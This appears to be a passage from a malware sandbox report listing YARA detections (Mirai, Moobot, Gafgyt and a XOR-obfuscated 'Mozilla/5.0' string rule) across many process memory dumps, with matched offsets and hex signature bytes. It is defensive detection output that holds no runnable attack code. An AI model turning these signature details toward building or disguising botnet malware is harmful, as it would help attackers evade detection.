0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6823.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6889.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6567.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6567.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6567.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6567.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6567.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6567.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6690.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6690.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6690.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6690.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6690.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6690.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6587.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6358.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7439.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6346.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6879.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6879.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6879.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6879.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6879.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6879.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7415.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6646.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6646.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6646.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6646.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6646.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6646.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6312.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6312.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6312.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6312.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6312.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6312.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7372.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7372.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7372.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
